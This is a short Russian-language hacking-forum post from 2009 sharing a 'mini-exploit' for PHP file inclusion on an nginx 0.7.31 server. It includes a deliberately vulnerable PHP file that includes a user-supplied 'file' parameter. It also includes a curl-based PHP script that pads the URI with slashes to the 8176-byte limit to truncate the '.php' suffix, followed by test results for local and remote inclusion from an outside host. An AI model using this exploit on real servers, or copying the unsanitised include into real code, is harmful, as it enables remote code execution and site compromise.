
04.03.2009, 12:01
|
|
Познающий
Регистрация: 28.10.2008
Сообщений: 43
Провел на форуме: 117557
Репутация:
125
|
|
Хост: nginx/0.7.31
максимальная длинна 8176 байт.
Накатал минисплоит:
inc.php, http://some_other_host/inc.php
i_am_file_with_include.php
Код:
<?php
include $_GET["file"] . ".php";
?>
exploit.php
Код:
<?php
$include_file = urlencode($argv[1]);
$host = "localhost";
$url = "i_am_file_with_include.php?file=$include_file";
$overflow = "";
$maxURI = 8176;
$sym = "/";
for($i=1;$i<=$maxURI-strlen($url);$i++) {$overflow .= $sym;}
$ch = curl_init("$host/$url$overflow");
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$res = curl_exec($ch);
curl_close($ch);
echo $res;
?>
./php exploit.php inc.php - Работает
./php exploit.php http://some_other_host/inc.php - Не работает
http://localhost/i_am_file_with_include.php?file=http://some_other_host/inc - Работает
Метод пашет, только непонятно почему удаленный инклуд не происходит.
|
|
|